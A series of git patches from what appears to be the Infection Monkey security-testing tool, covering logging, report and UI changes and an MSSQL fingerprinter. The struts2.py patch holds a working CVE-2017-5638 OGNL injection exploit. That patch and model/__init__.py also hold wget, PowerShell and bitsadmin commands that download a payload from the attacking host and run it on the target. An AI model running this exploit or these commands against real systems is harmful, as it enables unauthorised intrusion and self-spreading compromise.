#self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") + self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") self.get_installed_packages() mimikatz_collector = MimikatzCollector() From 4e84c87050e3b13ca3e38f3cb8d93eef796cff9c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 5 Aug 2018 13:35:48 +0300 Subject: [PATCH 118/243] Add missing files --- monkey/monkey_island/cc/island_logger.py | 26 +++++++++++++++ .../cc/island_logger_default_config.json | 33 +++++++++++++++++++ .../monkey_island/cc/resources/island_logs.py | 19 +++++++++++ .../monkey_island/cc/services/island_logs.py | 32 ++++++++++++++++++ 4 files changed, 110 insertions(+) create mode 100644 monkey/monkey_island/cc/island_logger.py create mode 100644 monkey/monkey_island/cc/island_logger_default_config.json create mode 100644 monkey/monkey_island/cc/resources/island_logs.py create mode 100644 monkey/monkey_island/cc/services/island_logs.py diff --git a/monkey/monkey_island/cc/island_logger.py b/monkey/monkey_island/cc/island_logger.py new file mode 100644 index 000000000..8fbef1e0e --- /dev/null +++ b/monkey/monkey_island/cc/island_logger.py @@ -0,0 +1,26 @@ +import os +import json +import logging.config + + +__author__ = 'Maor.Rayzin' + + +def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'): + """ + Setup the logging configuration + :param default_path: the default log configuration file path + :param default_level: Default level to log from + :param env_key: SYS ENV key to use for external configuration file path + :return: + """ + path = default_path + value = os.getenv(env_key, None) + if value: + path = value + if os.path.exists(path): + with open(path, 'rt') as f: + config = json.load(f) + logging.config.dictConfig(config) + else: + logging.basicConfig(level=default_level) diff --git a/monkey/monkey_island/cc/island_logger_default_config.json b/monkey/monkey_island/cc/island_logger_default_config.json new file mode 100644 index 000000000..e41ca3d9b --- /dev/null +++ b/monkey/monkey_island/cc/island_logger_default_config.json @@ -0,0 +1,33 @@ +{ + "version": 1, + "disable_existing_loggers": false, + "formatters": { + "simple": { + "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" + } + }, + + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "DEBUG", + "formatter": "simple", + "stream": "ext://sys.stdout" + }, + + "info_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "INFO", + "formatter": "simple", + "filename": "info.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + } + }, + + "root": { + "level": "INFO", + "handlers": ["console", "info_file_handler"] + } +} \ No newline at end of file diff --git a/monkey/monkey_island/cc/resources/island_logs.py b/monkey/monkey_island/cc/resources/island_logs.py new file mode 100644 index 000000000..971306c14 --- /dev/null +++ b/monkey/monkey_island/cc/resources/island_logs.py @@ -0,0 +1,19 @@ +import logging + +import flask_restful + +from cc.auth import jwt_required +from cc.services.island_logs import IslandLogService + +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLog(flask_restful.Resource): + @jwt_required() + def get(self): + try: + return IslandLogService.get_log_file() + except Exception as e: + logger.error('Monkey Island logs failed to download', exc_info=True) diff --git a/monkey/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py new file mode 100644 index 000000000..77b28bdd4 --- /dev/null +++ b/monkey/monkey_island/cc/services/island_logs.py @@ -0,0 +1,32 @@ +import logging +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLogService: + def __init__(self): + pass + + @staticmethod + def get_log_file(): + """ + This static function is a helper function for the monkey island log download function. + It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler + has the property handler.baseFilename. + :return: + a dict with the log file content. + """ + logger_handlers = logger.parent.handlers + for handler in logger_handlers: + if hasattr(handler, 'baseFilename'): + logger.info('Log file found: {0}'.format(handler.baseFilename)) + log_file_path = handler.baseFilename + with open(log_file_path, 'rt') as f: + log_file = f.read() + return { + 'log_file': log_file + } + + logger.warning('No log file could be found, check logger config.') + return None From 4017e189ab9fd86e34b92872c11722a8ea12d544 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 5 Aug 2018 14:21:37 +0300 Subject: [PATCH 119/243] Another stupid path fix --- monkey/monkey_island/deb-package/DEBIAN/postinst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst index b5523f0ed..22e8d95b7 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/postinst +++ b/monkey/monkey_island/deb-package/DEBIAN/postinst @@ -1,7 +1,7 @@ #!/bin/bash MONKEY_FOLDER=/var/monkey -INSTALLATION_FOLDER=/var/monkey/installation +INSTALLATION_FOLDER=/var/monkey/monkey_island/installation PYTHON_FOLDER=/var/monkey/monkey_island/bin/python # Prepare python virtualenv From 25f0c085283bc2e989b6921997d8ca82a0740f80 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 5 Aug 2018 14:58:19 +0300 Subject: [PATCH 120/243] Fix python dep installation issues --- monkey/monkey_island/deb-package/DEBIAN/postinst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst index 22e8d95b7..b55f791b8 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/postinst +++ b/monkey/monkey_island/deb-package/DEBIAN/postinst @@ -5,11 +5,11 @@ INSTALLATION_FOLDER=/var/monkey/monkey_island/installation PYTHON_FOLDER=/var/monkey/monkey_island/bin/python # Prepare python virtualenv -pip2 download --exists-action i virtualenv -d $INSTALLATION_FOLDER +pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER virtualenv -p python2.7 ${PYTHON_FOLDER} # install pip requirements -${PYTHON_FOLDER}/bin/python -m pip download --exists-action i -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt -d $INSTALLATION_FOLDER +${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER # remove installation folder and unnecessary files rm -rf ${INSTALLATION_FOLDER} From 063ecd9313ced52bacf698df6c187df4c08aeaa6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 6 Aug 2018 14:18:03 +0300 Subject: [PATCH 121/243] Add files dropped in merge --- monkey/infection_monkey/exploit/struts2.py | 247 ++++++++++++++++++ .../network/mssql_fingerprint.py | 74 ++++++ 2 files changed, 321 insertions(+) create mode 100644 monkey/infection_monkey/exploit/struts2.py create mode 100644 monkey/infection_monkey/network/mssql_fingerprint.py diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py new file mode 100644 index 000000000..0033c6ff7 --- /dev/null +++ b/monkey/infection_monkey/exploit/struts2.py @@ -0,0 +1,247 @@ +""" + Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) + code used is from https://www.exploit-db.com/exploits/41570/ + Vulnerable struts2 versions <=2.3.31 and <=2.5.10 +""" +import urllib2 +import httplib +import unicodedata +import re + +import logging +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools import build_monkey_commandline, HTTPTools +from infection_monkey.model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, \ + RDP_CMDLINE_HTTP, DROPPER_ARG + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) + +DOWNLOAD_TIMEOUT = 300 + + +class Struts2Exploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(Struts2Exploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.skip_exist = self._config.skip_exploit_if_file_exist + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] + + def exploit_host(self): + dropper_path_linux = self._config.dropper_target_path_linux + dropper_path_win_32 = self._config.dropper_target_path_win_32 + dropper_path_win_64 = self._config.dropper_target_path_win_64 + + ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) + + if not ports: + LOG.info("All web ports are closed on %r, skipping", self.host) + return False + + for port in ports: + if port[1]: + current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) + else: + current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) + # Get full URL + url = self.get_redirected(current_host) + LOG.info("Trying to exploit with struts2") + # Check if host is vulnerable and get host os architecture + if 'linux' in self.host.os['type']: + return self.exploit_linux(url, dropper_path_linux) + else: + return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) + + def check_remote_file(self, host, path): + command = EXISTS % path + resp = self.exploit(host, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + def exploit_linux(self, url, dropper_path): + host_arch = Struts2Exploiter.check_exploit_linux(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist and self.check_remote_file(url, dropper_path): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) + + command = WGET_HTTP % {'monkey_path': dropper_path, + 'http_path': http_path, 'parameters': cmdline} + + self.exploit(url, command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + def exploit_windows(self, url, dropper_paths): + """ + :param url: Where to send malicious request + :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat + :return: Bool. Successfully exploited or not + """ + host_arch = Struts2Exploiter.check_exploit_windows(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist: + for dropper_path in dropper_paths: + if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # Select the dir and name for monkey on the host + if "windows-32" in src_path: + dropper_path = dropper_paths[0] + else: + dropper_path = dropper_paths[1] + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + # We need to double escape backslashes. Once for payload, twice for command + cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) + + command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline} + + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} + + resp = self.exploit(url, command) + + if 'powershell is not recognized' in resp: + self.exploit(url, backup_command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + @staticmethod + def check_exploit_windows(url): + resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + if resp and ID_STRING in resp: + if "64-bit" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def check_exploit_linux(url): + resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + if resp and ID_STRING in resp: + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = arch.group(1) + return arch + else: + return False + + @staticmethod + def get_redirected(url): + # Returns false if url is not right + headers = {'User-Agent': 'Mozilla/5.0'} + request = urllib2.Request(url, headers=headers) + try: + return urllib2.urlopen(request).geturl() + except urllib2.URLError: + LOG.error("Can't reach struts2 server") + return False + + @staticmethod + def exploit(url, cmd): + """ + :param url: Full url to send request to + :param cmd: Code to try and execute on host + :return: response + """ + payload = "%%{(#_='multipart/form-data')." \ + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ + "(#_memberAccess?" \ + "(#_memberAccess=#dm):" \ + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ + "(#ognlUtil.getExcludedPackageNames().clear())." \ + "(#ognlUtil.getExcludedClasses().clear())." \ + "(#context.setMemberAccess(#dm))))." \ + "(#cmd='%s')." \ + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ + "(#p=new java.lang.ProcessBuilder(#cmds))." \ + "(#p.redirectErrorStream(true)).(#process=#p.start())." \ + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ + "(#ros.flush())}" % cmd + # Turns payload ascii just for consistency + if isinstance(payload, unicode): + payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') + headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} + try: + request = urllib2.Request(url, headers=headers) + # Timeout added or else we would wait for all monkeys' output + page = urllib2.urlopen(request).read() + except AttributeError: + # If url does not exist + return False + except httplib.IncompleteRead as e: + page = e.partial + + return page + + @staticmethod + def get_exploitable_ports(host, port_list, names): + candidate_services = {} + for name in names: + chosen_services = { + service: host.services[service] for service in host.services if + ('name' in host.services[service]) and (host.services[service]['name'] == name) + } + candidate_services.update(chosen_services) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + 'tcp-' + str(port) in candidate_services] + + return valid_ports diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py new file mode 100644 index 000000000..bb5214c2f --- /dev/null +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -0,0 +1,74 @@ +import logging +import socket + +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger + +__author__ = 'Maor Rayzin' + +LOG = logging.getLogger(__name__) + + +class MSSQLFinger(HostFinger): + + # Class related consts + SQL_BROWSER_DEFAULT_PORT = 1434 + BUFFER_SIZE = 4096 + TIMEOUT = 5 + SERVICE_NAME = 'MSSQL' + + def __init__(self): + self._config = __import__('config').WormConfiguration + + def get_host_fingerprint(self, host): + """Gets Microsoft SQL Server instance information by querying the SQL Browser service. + :arg: + host (VictimHost): The MS-SSQL Server to query for information. + + :returns: + Discovered server information written to the Host info struct. + True if success, False otherwise. + """ + + assert isinstance(host, VictimHost) + + # Create a UDP socket and sets a timeout + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(self.TIMEOUT) + server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT) + + # The message is a CLNT_UCAST_EX packet to get all instances + # https://msdn.microsoft.com/en-us/library/cc219745.aspx + message = '\x03' + + # Encode the message as a bytesarray + message = message.encode() + + # send data and receive response + try: + LOG.info('Sending message to requested host: {0}, {1}'.format(host, message)) + sock.sendto(message, server_address) + data, server = sock.recvfrom(self.BUFFER_SIZE) + except socket.timeout: + LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + sock.close() + return False + + host.services[self.SERVICE_NAME] = {} + + # Loop through the server data + instances_list = data[3:].decode().split(';;') + LOG.info('{0} MSSQL instances found'.format(len(instances_list))) + for instance in instances_list: + instance_info = instance.split(';') + if len(instance_info) > 1: + host.services[self.SERVICE_NAME][instance_info[1]] = {} + for i in range(1, len(instance_info), 2): + # Each instance's info is nested under its own name, if there are multiple instances + # each will appear under its own name + host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i] + + # Close the socket + sock.close() + + return True From 83d41df875fa4689a5200a7d7db1730463baf6a9 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 6 Aug 2018 14:30:38 +0300 Subject: [PATCH 122/243] Fix another merge fail --- monkey/infection_monkey/config.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index d2918f0bb..79912dcdd 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -7,9 +7,9 @@ from abc import ABCMeta from itertools import product from infection_monkey.exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, ShellShockExploiter from infection_monkey.network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, \ - ElasticFinger + ElasticFinger, MSSQLFinger __author__ = 'itamar' From 8e684a3fadc5af44b75af7659bd880b94ddfe09b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 7 Aug 2018 17:44:31 +0300 Subject: [PATCH 123/243] Bugfix: model.__init__ changed( I forgot to add the file to the branch) and server lock is not a singleton anymore --- infection_monkey/exploit/web_rce.py | 11 +++++------ infection_monkey/model/__init__.py | 20 +++++++++++++------- 2 files changed, 18 insertions(+), 13 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 1f79b3f4e..571c0ad70 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -13,8 +13,6 @@ __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) -LOCK = Lock() - class WebRCE(HostExploiter): def __init__(self, host): @@ -237,14 +235,15 @@ class WebRCE(HostExploiter): return False # Determine which destination path to use LOG.debug("Monkey path found") + lock = Lock() path = WebRCE.get_monkey_dest_path(config, src_path) if not path: return False # To avoid race conditions we pass a locked lock to http servers thread - LOCK.acquire() + lock.acquire() # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, LOCK) - LOCK.acquire() + http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, lock) + lock.acquire() if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False @@ -278,7 +277,7 @@ class WebRCE(HostExploiter): LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} resp = exploiter(url, backup_command) - LOCK.release() + lock.release() http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading proccess finished") diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index a2a1e18bb..0c1e5a09b 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,13 +17,19 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' - +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\"" +POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +CHMOD_MONKEY = "chmod +x %(monkey_path)s" +RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING +CHECK_COMMAND = "echo %s" % ID_STRING +# Architecture checking commands +ARCH_WINDOWS = "wmic os get osarchitecture" +ARCH_LINUX = "lscpu" # Commands used to check if monkeys already exists -EXISTS = "ls %s" \ No newline at end of file +EXISTS = "ls %s" + +DOWNLOAD_TIMEOUT = 300 \ No newline at end of file From 3c40fd7cc3775ec3ad2bdf64a09fb0b6a0e3c6bb Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 8 Aug 2018 16:03:16 +0300 Subject: [PATCH 124/243] * Added warnings and threats comments about pth findings --- monkey_island/cc/services/pth_report.py | 25 +++++++++---------- monkey_island/cc/services/report.py | 19 +++++++++++--- .../cc/ui/src/components/pages/ReportPage.js | 22 ++++++++++------ 3 files changed, 42 insertions(+), 24 deletions(-) diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py index 6f244e09b..3640e29e2 100644 --- a/monkey_island/cc/services/pth_report.py +++ b/monkey_island/cc/services/pth_report.py @@ -118,17 +118,16 @@ class PTHReportService(object): def get_duplicated_passwords_issues(pth, password_groups): issues = [] for group in password_groups: - for username in group['cred_group']: - sid = list(pth.GetSidsByUsername(username.split('\\')[1])) - machine_info = pth.GetSidInfo(sid[0]) - issues.append( - { - 'type': 'shared_password', - 'machine': machine_info.get('hostname').split('.')[0], - 'shared_with': [x for x in group['cred_group'] if x != username], - 'username': username - } - ) + username = group['cred_group'][0] + sid = list(pth.GetSidsByUsername(username.split('\\')[1])) + machine_info = pth.GetSidInfo(sid[0]) + issues.append( + { + 'type': 'shared_passwords', + 'machine': machine_info.get('hostname').split('.')[0], + 'shared_with': group['cred_group'] + } + ) return issues @@ -207,7 +206,7 @@ class PTHReportService(object): issues += PTHReportService.get_duplicated_passwords_issues(pth, same_password) issues += PTHReportService.get_shared_local_admins_issues(local_admin_shared) issues += PTHReportService.strong_users_on_crit_issues(strong_users_on_crit_services) - formated_issues = PTHReportService.get_issues_list(issues) + #formated_issues = PTHReportService.get_issues_list(issues) report = \ { @@ -217,7 +216,7 @@ class PTHReportService(object): 'local_admin_shared': local_admin_shared, 'strong_users_on_crit_services': strong_users_on_crit_services, 'strong_users_on_non_crit_services': strong_users_on_non_crit_services, - 'pth_issues': formated_issues + 'pth_issues': issues }, 'pthmap': { diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 369b29c25..6a89afa58 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -9,6 +9,7 @@ from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.utils import local_ip_addresses, get_subnets +from pth_report import PTHReportService __author__ = "itay.mizeretz" @@ -43,10 +44,14 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + PTH_CRIT_SERVICES_ACCESS = 10 + class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 TUNNEL = 1 + SHARED_LOCAL_ADMIN = 2 + SHARED_PASSWORDS = 3 @staticmethod def get_first_monkey_time(): @@ -365,7 +370,8 @@ class ReportService: @staticmethod def get_issues(): issues = ReportService.get_exploits() + ReportService.get_tunnels() +\ - ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() + \ + PTHReportService.get_report().get('report_info').get('pth_issues', []) issues_dict = {} for issue in issues: machine = issue['machine'] @@ -430,7 +436,9 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'] == 'struts2': issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True - elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ + elif issue['type'] == 'strong_users_on_crit': + issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True + elif issue['type'].endswith('_password') and issue.get('password', None) in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): @@ -440,7 +448,7 @@ class ReportService: @staticmethod def get_warnings_overview(issues): - warnings_byte_array = [False] * 2 + warnings_byte_array = [False] * len(ReportService.WARNINGS_DICT) for machine in issues: for issue in issues[machine]: @@ -448,6 +456,10 @@ class ReportService: warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True elif issue['type'] == 'tunnel': warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True + elif issue['type'] == 'shared_admins': + warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_LOCAL_ADMIN.value] = True + elif issue['type'] == 'shared_passwords': + warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_PASSWORDS.value] = True return warnings_byte_array @@ -472,6 +484,7 @@ class ReportService: config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() + report = \ { 'overview': diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 5db48036b..400381c8a 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -28,13 +28,16 @@ class ReportPageComponent extends AuthComponent { CONFICKER: 5, AZURE: 6, STOLEN_SSH_KEYS: 7, - STRUTS2: 8 + STRUTS2: 8, + PTH_CRIT_SERVICES_ACCESS: 10 }; Warning = { CROSS_SEGMENT: 0, - TUNNEL: 1 + TUNNEL: 1, + SHARED_LOCAL_ADMIN: 2, + SHARED_PASSWORDS: 3 }; constructor(props) { @@ -345,6 +348,9 @@ class ReportPageComponent extends AuthComponent {
  • Struts2 servers are vulnerable to remote code execution. ( CVE-2017-5638)
  • : null } + {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? +
  • Credentials of strong users was found on machines and can give access to critical servers + (DC, MSSQL, etc..)
  • : null } : @@ -370,6 +376,10 @@ class ReportPageComponent extends AuthComponent { communicate. : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ?
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null} + {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ? +
  • The monkey has found that some users have administrative rights on several machines.
  • : null} + {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ? +
  • The monkey has found that some users are sharing passwords.
  • : null} : @@ -390,7 +400,6 @@ class ReportPageComponent extends AuthComponent {
    {this.generateIssues(this.state.report.recommendations.issues)} - {this.generateIssues(this.state.pthreport.pth_issues)}
    ); @@ -448,9 +457,6 @@ class ReportPageComponent extends AuthComponent {
    -
    - -
    @@ -744,7 +750,7 @@ class ReportPageComponent extends AuthComponent {
  • Some users are sharing passwords, this should be fixed by changing passwords. - The user {issue.username} is sharing access password with: + These users are sharing access password: {this.generateInfoBadges(issue.shared_with)}.
  • @@ -849,7 +855,7 @@ class ReportPageComponent extends AuthComponent { case 'cross_segment': data = this.generateCrossSegmentIssue(issue); break; - case 'shared_password': + case 'shared_passwords': data = this.generateSharedCredsIssue(issue); break; case 'shared_admins': From 0486b630aaedb7c5a869a1d99404e9cfff499c1c Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 8 Aug 2018 16:38:11 +0300 Subject: [PATCH 125/243] * Commented out the ldap checkup for bug testing --- infection_monkey/system_info/windows_info_collector.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index ab5a79099..30685569b 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -162,8 +162,8 @@ class WindowsInfoCollector(InfoCollector): for wmi_class_name in WMI_CLASSES: self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) - for wmi_class_name, props in WMI_LDAP_CLASSES.iteritems(): - self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name, "//./root/directory/ldap", props) + # for wmi_class_name, props in WMI_LDAP_CLASSES.iteritems(): + # self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name, "//./root/directory/ldap", props) def get_wmi_class(self, class_name, moniker="//./root/cimv2", properties=None): _wmi = wmi.WMI(moniker=moniker) From 44ee74aacabb5c123f1477f68dabf3c43909326c Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 16 Jul 2018 16:01:26 +0300 Subject: [PATCH 126/243] * Added a coverage for the force connection closing in the mssql fingerprinter. (cherry picked from commit 782ced912d438a14ce14be61d869366b2997cff2) --- infection_monkey/network/mssql_fingerprint.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git 